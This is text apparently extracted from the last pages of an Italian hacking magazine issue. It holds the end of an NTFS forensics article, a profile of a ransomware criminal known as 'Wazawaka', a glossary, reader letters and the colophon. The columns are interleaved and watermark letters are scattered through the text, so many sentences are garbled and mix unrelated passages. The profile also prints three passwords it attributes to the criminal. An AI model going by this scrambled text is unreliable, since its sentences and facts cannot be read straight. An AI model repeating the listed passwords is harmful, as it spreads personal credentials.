• y-z è una coppia di interi che chiaramente, di un file non che fa riferimento al file dd.txt.
rappresenta il codice numerico cancellato) e i tempi d’accesso. E non finisce qui: icat è in grado
associato all’attributo $DATA. (entro certe condizioni) di
Per esempio, tornando all’output SÌ, MA IL CONTENUTO? visualizzare persino il contenuto di
di fls in [figura #9], l’indice 64-128- Insomma, grazie ai tool visti sinora file cancellati. Ma questa è un’altra
2 è relativo al file dd.txt, mentre siamo in grado di ricostruire tutte storia, e richiede un’altra puntata
l’indice 73-128-2 identifica il file le informazioni relative a un file, per essere raccontata…
hj.txt. Qualora – come nei casi
citati – il file sia privo di flussi di
dati multipli, è tuttavia possibile
accedervi indicando unicamente
l’indice numerico del file record di figura #11
riferimento, proprio come visto Il comando icat visualizza a video i contenuti di un file individuato
per i tool trattati nelle precedenti mediante l’indice del relativo file record.

57
HACKULTURE

L’ha ck e r fo l l e

s
l a r e
senza a n u
ew
_n
Dietro al nick Wazawaka si cela uno dei più importanti
criminali nell’ambito del ransomware che adesso
sembra essere completamente impazzito
lia

C
on un lavoro di È stato a lungo su Exploit, dove distinto. Ha guadagnato almeno
intelligence fatto da un vendeva attacchi DDoS per 80 500.000 dollari di commissioni per
team di esperti è stato dollari al giorno, attacchi capaci LockBit e un altro programma di
identificato il di buttare giù siti protetti da CDN ransomware che ha contribuito a
ita

cybercriminale che si nascondeva professionali. E poi è entrato scrivere. E assieme a quelli di

dietro al nick “Wazawaka”: dentro database aziendali, ha DarkSide ha fatto andare giù per
è un criminale russo di prima tirato giù sistemi di sicurezza sei lunghissimi giorni la Colonial
grandezza, che ha lavorato alla piuttosto conosciuti, ha compiuto Pipeline, un sistema di oleodotti
creazione di una serie piuttosto vari atti di cybersabotaggio. americano che trasporta benzina
@

ampia di ransomware. La polvere e carburante per aerei, cosa

digitale non si è ancora posata su ECCO IL BOSS! che ha provocato effetti a catena
questa indagine ma già emergono Nel 2020 ha venduto gli accessi per tra cui scarsità di carburante
fatti nuovi che non mancheranno una multinazionale cinese che vale e prezzi alle stelle.
di suscitare polemiche. 10 miliardi di dollari di fatturato:
si poteva entrare e fare tutto. UNA TAGLIA IMPORTANTE
IL BROKER DI ACCESSI “Mostrategli chi è il boss” era stata Il Dipartimento di Stato è disposto
Mikhail Pavlovich Matveev, la sua firma all’operazione. Ma non a pagare 5 milioni di dollari per
trent’anni di Abakan, in Russia, è è questo l’unico caso in cui si è avere informazioni su lui e gli altri
l’uomo dietro al nick (e a molti altri
nomi usati in Rete) che ha passato Il cybercriminale usa tre password
gli ultimi dieci anni partecipando
in maniera molto attiva a vari
per tutti i suoi account: “2k3x8x57”,
gruppi e forum del cybercrimine. “2k3X8X57” e “00virtual”

58
 HACK E FOLLIA
È un marchio di fabbrica
che lo rende
identificabile: l’anulare
sinistro mancante per
una scommessa.

Richieste di riscatto, scatti di

rabbia, risse digitali, minacce
e poi prese in giro, improvvisi
cambi e Gigabyte su Gigabyte

s
di dati riservati finiti nei forum,
alla portata di tutti.

ew
CACCIA AL LADRO
Una taglia da 5 milioni di dollari
può essere vista come un grande
risultato per un criminale
professionista, oppure una
tremenda iattura. Tutti gli amici
_n
si trasformano in potenziali
delatori, e nei forum chi conosce
qualcosa in più, magari qualche
affiliati di DarkSide. Ma finora DISTRUGGERE TUTTO E TUTTI particolare sfuggito in una chat
non l’hanno preso e con lo Sarà stata l’avidità o la semplice privata, può essere tentato
lia

pseudonimo di “Uhodiransomwar” cattiveria, ma la scia di attacchi di metterlo a frutto e andare

fino a poco tempo fa postava e le richieste di riscatto milionarie all’incasso. La fuga nella follia
database delle aziende che non del pirata sono diventate sempre di Wazakawa può essere anche
pagavano il riscatto dei dati più numerose nel corso del questo: una fuga dalla normalità
bloccati dai suoi ransomware. 2020-2021. Dal Dipartimento per proteggere una situazione
ita

di Polizia della città di altrimenti critica. Adesso non

LA FOLLIA SENZA FINE Washington al Museo nazionale ci sono notizie di un arresto
Negli ultimi tempi, però, russo, passando per decine di imminente e la guerra complica
il cybercriminale sembra aver altre istituzioni e organizzazioni, tutto, ma gli atti criminali del
sbroccato. Nel buio della follia gli attacchi si sono moltiplicati e cybercriminale rimangono nella
@

dove è precipitato Wazawaka, così le identità e gli alias usati da storia del cybercrime, in attesa che
dopo aver guidato il programma Wazawaka per “parlare”. la giustizia faccia il suo corso.
di affiliazione per il ransomware

Perle ai porci
Babuk (poi Orange) e il forum
dark RAMP, ha
cominciato a pubblicare
il codice di un exploit per
una VPN molto usata e strani
C osa fai quando hai un malloppo che scotta? Cosa fai quando
il proprietario dei dati si rifiuta di pagare il riscatto? Sembra che
Wazawaka abbia adottato il punto di vista più estremo secondo il quale,
selfie in cui mostra di non avere quando le organizzazioni tenute in scacco rifiutano di collaborare o pagare,
il dito anulare della mano sinistra. tutti i dati rubati alla vittima vengono pubblicati sui forum russi della
Si sarebbe tagliato il dito da solo, criminalità informatica affinché tutti possano saccheggiarli, evitando che
possano essere venduti privatamente al miglior offerente. In un thread
dopo aver perso una scommessa dopo l’altro sul forum del crimine XSS, l’alias “Uhodiransomwar” di
e per gli esperti è la prova Wazawaka ha pubblicato decine di link per il download dei database
della sua identità. con le informazioni delle aziende che si sono rifiutate di negoziare.

59
 N E@ H AC KE RJ O U RN A L .i t
REDAZIO

REPLY
n la redazione insieme
Condividi i tuoi dubbi co rresti
menti su quello che vo
a nuove idee e suggeri al.it
vedere sulla rivista: re
dazione@hackerjourn

GLOSSARIO

s
ELIMINAZIONE ricevuto via email per sapere
DI BASE DEFINITIVA SU ANDROID dove si trovava il mio pacco
Voglio vendere il mio vecchio e mi sono accorta subito che

ew
COOKIE STEALER smartphone Android, ma non qualcosa non andava visto che
Gli stealer sono malware
posso permettermi che chi lo si è aperto Chrome e si sono
che rubano informazioni
acquista riesca a recuperare installate diverse estensioni.
dai browser, in questo caso
i cookie. Appropriandosi dei qualche file. Sono preoccupato A distanza di qualche minuto
dati personali presenti nei perché ho letto che sui supporti ho poi ricevuto un messaggio
cookie, i pirati informatici Flash è facile recuperare i file su Discord in cui mi veniva
_n
possono assumere cancellati. Voi non riuscite comunicato il mio indirizzo IP
il controllo della sessione
a consigliarmi un’app che me e altre informazioni private
dell’utente e ottenere
informazioni riservate. li elimini definitivamente? senza chiedermi però un vero
 Santo e proprio riscatto. A questo
PYTHON punto mi chiedo se mi
lia

Linguaggio di In realtà se hai crittografato convenga formattare il

programmazione di alto il tuo smartphone Android sistema per evitare eventuali
livello, adatto a sviluppare
dalle Impostazioni di sicurezza altri guai, oppure se può
applicazioni distribuite,
scripting, computazione e poi lo hai ripristinato alle bastare un controllo accurato
impostazioni di fabbrica, con un buon antivirus.
ita

numerica e system testing.

Supporta la programmazione le possibilità di recuperare Lisa
a oggetti ed è adatto qualsiasi file sono praticamente
a principianti ed esperti. nulle. Per maggiore sicurezza La soluzione migliore
puoi comunque scaricare dal Play rimane, in questi casi,
DVB-T2
Store un’app come Secure delete quella di formattare reinstallare
@

Acronimo di Digital Video

Broadcasting Second dedicata all’eliminazione definitiva il sistema operativo. Se però
Generation Terrestrial, di immagini e filmati. i problemi si sono limitati
è lo standard di ultima all’installazione di qualche
generazione per le
CI SONO CASCATA ANCORA estensione per Chrome noi
trasmissioni sulla
Nonostante sappia benissimo inizieremmo a ripristinare
piattaforma del digitale
terrestre televisivo. che non bisogna mai cliccare completamente il browser per
su link ricevuti per posta evitare la presenza di uno stealer
2FA di cui non si conosca con di cookie e soprattutto
Acronimo di Autenticazione certezza il mittente, mi sono attiveremmo (se ancora non ce
a due fattori, è un sistema
fatta ingannare da quella l’hai) la funzionalità 2FA, cioè
di riconoscimento che si
basa sull’utilizzo congiunto che pensavo fosse una l’autenticazione a due fattori,
di due metodi di comunicazione di DHL, visto in tutti i tuoi account. Infine
identificazione individuali. che stavo aspettando un faremmo comunque una
pacco. Così ho cliccato sul link scansione completa del disco

60
 O R IE IN A N O N IM O
LEGGERE LE ST
Avrei bisogno di sapere se esiste un modo per leggere le storie
di Instagram senza essere registrato e anche se è possibile
scaricare sullo smartphone le stesse storie e magari anche
i commenti. Allo stesso modo vorrei sapere se c’è la possibilità
di aumentare i miei follower senza doverli acquistare.
Lello

Sbirciare, o lurkare come si dice spesso con un inglesismo, i contenuti social

s
in maniera anonima è una richiesta abbastanza comune come dimostrano le
diverse app moddate di Instagram disponibili sul Web. Tra le altre ti consigliamo
GBInsta che potrai scaricare dall’indirizzo https://gbinsta.com/. Per quanto

ew
riguarda la richiesta di aumentare i follower, se non vuoi ridurti a comperarli, ti
suggeriamo di usare metodi social efficaci come seguire e mettere like e commenti
su foto di altri utenti che ricambieranno a loro volta con un follow e soprattutto
inserire diversi hashtag molto popolari e attinenti alla tua foto. Esiste anche un
sito, https://top-hashtags.com/instagram, che mostra gli hashtag più popolari.
_n
a meno... Possibile che non
Per scovare un file torrent senza farci
esista un software in grado di
infestare dallo spam presente nel Web, individuare in autonomia i vari
lia

è possibile utilizzare un software Open torrent senza passare dal Web?

Aldo
Source con motore di ricerca integrato
Prima di tutto ti dobbiamo
utilizzando un antivirus specifico su Internet indicando il modello ricordare che, anche
ita

come Malwarebytes. del tuo TV, anche se nella maggior se per uso personale, non è legale
parte dei casi i PIN preimpostati scaricare video e film protetti
HO PERSO IL PIN DEL TV! sono quelli classici: 0000, 1234 da diritto di autore.
Dovendo risintonizzare i canali o simili. Se non dovessi trovarlo Oltretutto il rischio è proprio
del mio televisore LG a seguito online ti suggeriamo di resettare quello di arrivare su siti malevoli
@

dell’entrata in vigore definitiva il televisore, potrebbe esserci e magari di beccarsi qualche

dello standard DVB-T2, mi sono stato un qualche bug di sistema malware. Fortunatamente
accorto che il TV richiedeva o più probabilmente un bug esistono diversi software in grado
un PIN a 4 cifre per svolgere con la tua memoria... di cercare autonomamente
l’operazione. Il fatto è che io i torrent inserendo alcune parole
non ricordo assolutamente di SCOVARE IL TORRENT chiave. Tra i migliori c’è
averlo mai inserito. Ho provato Da qualche mese ormai qBittorrent, https://www.
con le classiche combinazioni i classici siti che utilizzavo qbittorrent.org/, Open Source
standard ma niente da fare! per cercare i file torrent di serie e multipiattaforma, che integra
Paolo e film funzionano malissimo, un motore di ricerca sviluppato
rimandano a spam e pagine in Python ben integrato con un
Se sei sicuro di non avere pubblicitarie e tendono sistema di ricerca simultanea
modificato il PIN, a installarmi in automatico nei più famosi siti di
ti consigliamo di fare una ricerca estensioni di cui farei volentieri indicizzazione di file torrent.

61
 Il prossimo nu mero iug no
g
sa ra‘ in ed icola da l 3
La falla
nelle blocaksocttrharraein
milioni
Un hacker è riuscito
te... ecco come
di dollari in cryptomone

NTFS fore nsics

e quando
Cosa succed

s
cancelliamo un file?

Giovani pirati ew La guida per

diventare...
_n
La storia
del gruppo di pirati
Anonymous
ato
informatici che ha colpito
Il collettivo ha pubblic
per entrare in Rete
lia

i giganti della tecnologia gli strumenti da usare moli assieme!

sotto la guida “senza volto”... scopria
di un minorenne
ita

SERVIZIO QUALITÀ EDICOLANTI E DL Distributore per l’Estero: SO.DI.P S.p.A. Via Bettola, 18 - 20092 Cinisello Balsamo (MI)
Sonia Lancellotti, Virgilio Cofano, Luca Majocchi: Tel. 02 92432295 Tel. +390266030400 - Fax +390266030269 - [email protected] - www.sodip.it
[email protected] 351 5582739
Stampa: Arti Grafiche Boccia S.p.A.- Via Tiberio Claudio Felice, 7- 84131 Salerno
ABBONAMENTI E ARRETRATI
Abbonamenti: si sottoscrivono on-line su www.sprea.it/hackerjournal Copyright: Sprea S.p.A.
@

[email protected] Informativa su diritti e privacy

Tel. 02 87168197 (lun-ven / 9:00-13:00 e 14:00-18:00) La Sprea S.p.A. titolare esclusiva della testata Hacker Journal e di tutti i diritti di pub-
Il prezzo dell’abbonamento è calcolato in modo etico perché sia un servizio blicazione e di diffusione in Italia. L’utilizzo da parte di terzi di testi, fotografie e dise-
utile e non in concorrenza sleale con la distribuzione in edicola. gni, anche parziale, è vietato. L’Editore si dichiara pienamente disponibile a valutare -
e se del caso regolare - le eventuali spettanze di terzi per la pubblicazione di immagini
Arretrati: si acquistano on-line su www.sprea.it/arretrati
di cui non sia stato eventualmente possibile reperire la fonte. Informativa e Consenso
[email protected]
Mensile - prezzo di copertina 3,90 € in materia di trattamento dei dati personali (Codice Privacy d.lgs. 196/03). Nel vigore
Tel. 02 87168197 (lun-ven / 9:00-13:00 e 14:00-18:00)
www.hackerjournal.it - [email protected] del D.Lgs 196/03 il Titolare del trattamento dei dati personali, ex art. 28 D.Lgs. 196/03,
329 3922420 è Sprea S.p.A. (di seguito anche “Sprea”), con sede legale in Via Torino, 51 Cernusco sul
La Divisione Informatica di Sprea edita anche: Naviglio (MI). La stessa La informa che i Suoi dati, eventualmente da Lei trasmessi
WIN MAGAZINE ✦ LINUX PRO ✦ UBUNTU FACILE FOREIGN RIGHTS alla Sprea, verranno raccolti, trattati e conservati nel rispetto del decreto legislativo
MAC MAGAZINE✦ APP JOURNAL ✦IL MIO COMPUTER IDEA Paolo Cionti: Tel. 02 92432252 - [email protected] ora enunciato anche per attività connesse all’azienda. La avvisiamo, inoltre, che i Suoi
Business Unit Manager: Massimiliano Zagaglia dati potranno essere comunicati e/o trattati (sempre nel rispetto della legge), anche
Cover: Luca Patrian all’estero, da società e/o persone che prestano servizi in favore della Sprea. In ogni
Impaginazione: Andrea Carpani
SERVIZI CENTRALIZZATI
momento Lei potrà chiedere la modifica, la correzione e/o la cancellazione dei Suoi
Art director: Silvia Taietti
Hanno collaborato: Antonio Dini, Francesco Pensabene, Maurizio Russo, Noemi dati ovvero esercitare tutti i diritti previsti dagli artt. 7 e ss. del D.Lgs. 196/03 mediante
Grafici: Alessandro Bisquola, Tamara Bombelli, Nicole Bombelli, Nicolò Digiuni,
Chierchia, Roberto Premoli, Vincenzo Digilio, Servizi editoriali: Backdoor di Gianmarco Bruni comunicazione scritta alla Sprea e/o direttamente al personale Incaricato preposto al
Marcella Gavinelli, Luca Patrian trattamento dei dati. La lettura della presente informativa deve intendersi quale pre-
Sprea S.p.A. Coordinamento: Chiara Civilla, Tiziana Rosato, Roberta Tempesta, Silvia Vitali
Sede Legale: Via Torino, 51 20063 Cernusco Sul Naviglio (Mi) - Italia sa visione dell’Informativa ex art. 13 D.Lgs. 196/03 e l’invio dei Suoi dati personali alla
Amministrazione: Erika Colombo (responsabile), Irene Citino, Désirée Conti, Sprea varrà quale consenso espresso al trattamento dei dati personali secondo quanto
PI 12770820152- Iscrizione camera Commercio 00746350149 Sara Palestra - [email protected]
Per informazioni, potete contattarci allo 02 924321 sopra specificato. L’invio di materiale (testi, fotografie, disegni, etc.) alla Sprea S.p.A.
Ufficio Legale: Francesca Sigismondi deve intendersi quale espressa autorizzazione alla loro libera utilizzazione da parte di
CDA: Luca Sprea (Presidente), Alessandro Agnoli (Amministratore Delegato), Sprea S.p.A. Per qualsiasi fine e a titolo gratuito, e comunque, a titolo di esempio, alla
Hacker Journal, registrata al tribunale di Milano il 27/10/2003 con il numero 601. pubblicazione gratuita su qualsiasi supporto cartaceo e non, su qualsiasi pubblicazio-
Giulia Spreafico (Divisione digital), Stefano Pernarella (ADV & PR)
ISSN 1594-5774 ne (anche non della Sprea S.p.A.), in qualsiasi canale di vendita e Paese del mondo.
ADVERTISING, SPECIAL PROJECTS & EVENTS Direttore responsabile: Luca Sprea
Segreteria: Emanuela Mapelli - Tel. 02 92432244 - [email protected] Distributore per l’Italia: Press-Di Distribuzione stampa e multimedia s.r.l. - 20090 Segrate Il materiale inviato alla redazione non potrà essere restituito.
hackerjournal.it

s
ew
_n
lia

Il punto di riferimento per chi fa dell’hacking

una filosofia di vita
ita

La crew di Hacker Journal ti aspetta ogni giorno sul suo nuovo sito Web, il ritrovo della sua ricca comunità
hacker. Troverai anticipazioni degli articoli, news dal mondo della (in)sicurezza, contest, offerte speciali e
un forum che vuole essere il punto di riferimento per chiunque voglia diventare un esperto di sicurezza.
In un periodo storico in cui governi e multinazionali si divertono a spiare tutto e tutti, sulle
pagine della rivista e sul suo sito scoprirai come difenderti e contrattaccare. #HJisBACK
@

Scopri il sito e la comunità di Hacker Journal

Forum: iscriviti subito e inizia a dialogare con la redazione e la comunità di HJ
• News: le ultime notizie su cyberintrusioni, furti
di credenziali, bug, malware e altro ancora
• Contest: metti alla prova le tue conoscenze
con i giochi e le sfide della redazione
• Collezione HJ: i vecchi numeri della rivista,
in PDF, da scaricare
• Invia un articolo: ti piace scrivere e hai un’idea
originale per un articolo? Inviacela e la valuteremo!
 PU BBLICITÀ
100% INDIPENDENTE! NO

T utto quello
ch e g l i a l t r i

s
n o n o s a n o d i r t i !

IN QUES T O N U M E R O ew
_n
VULNERABILITÀ | Una reverse shell dai log
lia

Il bug Log4Shell consente a chiunque di prendere il controllo

di una macchina su cui è presente un applicativo Java
ita

SORVEGLIANZA WI-FI | Monitorati e schedati

Seconda e ultima parte del progetto che ci porterà ad avere un tracciatore
di smartphone personalizzabile usando un SoC e un po’ di codice
@

FILESYSTEM | Alla scoperta di NTFS!

Nozioni e strumenti per scoprire come vengono conservati i file
in NTFS, il filesystem tipico dei sistemi Windows

LETTERE | Leggere le storie in anonimo

Le domande dei lettori, le risposte degli esperti della redazione.
Anche online sul nostro sito: https://hackerjournal.it

NUMERO 262 • MENSILE • 3.90 €

P.I. 03-05-2022 - Maggio

Prezzi esteri: AUT € 7,50 - BE € 7,00 - LUX € 6,50 - F+PM € 9,50 FR + € 10,50 PM - ES € 6,00 - PT (Cont.) € 5,50 - CH Tedesca CHF 8,3 - CH Ticino CHF 7,3 - OLANDA € 7,50